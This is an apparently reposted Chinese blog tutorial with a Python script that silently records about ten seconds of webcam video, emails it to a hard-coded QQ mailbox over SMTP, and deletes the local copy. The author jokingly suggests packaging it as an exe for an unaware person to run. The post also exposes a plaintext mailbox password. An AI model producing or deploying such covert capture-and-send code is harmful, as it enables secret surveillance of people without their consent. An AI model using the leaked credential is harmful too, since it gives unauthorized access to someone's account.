Python | OpenCV实现视频抓拍并发送至邮箱

网友投稿 508 2022-11-12

Python | OpenCV实现视频抓拍并发送至邮箱

Python | OpenCV实现视频抓拍并发送至邮箱

当你运行本代码的时候,若你没有发现其中的机理,不知不觉中,视频就在邮箱账号里待着了:-D

简单说一下,大概的代码实现过程:

首先,必须保证电脑带有摄像头并且为打开状态(联网是基本前提),就是没有被遮挡;然后,你就可以运行代码了,代码会自动调用电脑摄像头,并开始拍摄视频,视频暂时保存在于py文件同路径(可自行更改);最后,通过smtplib模块,实现邮件发送功能。

开个小玩笑,比如我们将此代码打包成一个exe文件,当某人不知情的情况下双击了这个文件,O(∩_∩)O哈哈~

当然前提是电脑摄像头得打开喔!

下面是代码实现:

import cv2import timeimport osimport globfrom PIL import Imageimport numpy as npimport smtplibfrom email.mime.text import MIMETextfrom email.mime.multipart import MIMEMultipartfrom email.header import Headerdef capture(): cap = cv2.VideoCapture(0) # 打开摄像头 out = cv2.VideoWriter('video.mp4', -1, 20.0, (640, 480)) # 帧率写入对象 start = time.time() # 开始视频拍摄计时 while cap.isOpened(): # 当摄像头为打开状态,即循环 ret, frame = cap.read() # ret为true,frame为帧率图 if ret: frame = cv2.flip(frame, 1) # 将图片垂直对称 out.write(frame) # 帧率写入 if time.time() - start >= 10: # 拍摄时间大于10,跳出循环 break cap.release() # 释放资源 out.release() # 释放资源def sending(): sender = 'echohye@qq.com' # 发件人的账号 password = 'qynwvamzolcmdibe' # 发件人的对应账号密码 # 创建一个带附件的实例 message = MIMEMultipart() message['From'] = Header("抓拍测试", 'utf-8') message['To'] = Header("测试", 'utf-8') subject = 'Python SMTP 邮件测试' message['Subject'] = Header(subject, 'utf-8') # 邮件正文内容 message.attach(MIMEText('这是Python 邮件发送测试……', 'plain', 'utf-8')) # 构造附件1,传送当前目录下的 video.mp4 文件 att1 = MIMEText(open('video.mp4', 'rb').read(), 'base64', 'utf-8') att1["Content-Type"] = 'application/octet-stream' # 这里的filename可以任意写,写什么名字,邮件中显示什么名字 att1["Content-Disposition"] = 'attachment; filename="video.mp4"' message.attach(att1) try: smtpObj = smtplib.SMTP_SSL('smtp.qq.com', 465) smtpObj.login(sender, password) smtpObj.sendmail(sender, [sender], message.as_string()) print('邮件发送成功') except smtplib.SMTPException: print("Error: 无法发送邮件") if os.path.exists("video.mp4"): os.remove("video.mp4")if __name__ == '__main__': capture() print("程序还在运行,请耐心等待...") sending()

运行测试

代码整个实现流程大概这样,有兴趣的可以继续完善,不要干小坏事哟~

箴言:因为这些东西是非常简单的。不要抱怨自己学不会,那是因为你没有足够用心。

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:Python | 一键生成九宫格图片
下一篇:升级到mysql
相关文章

 发表评论

暂时没有评论,来抢沙发吧~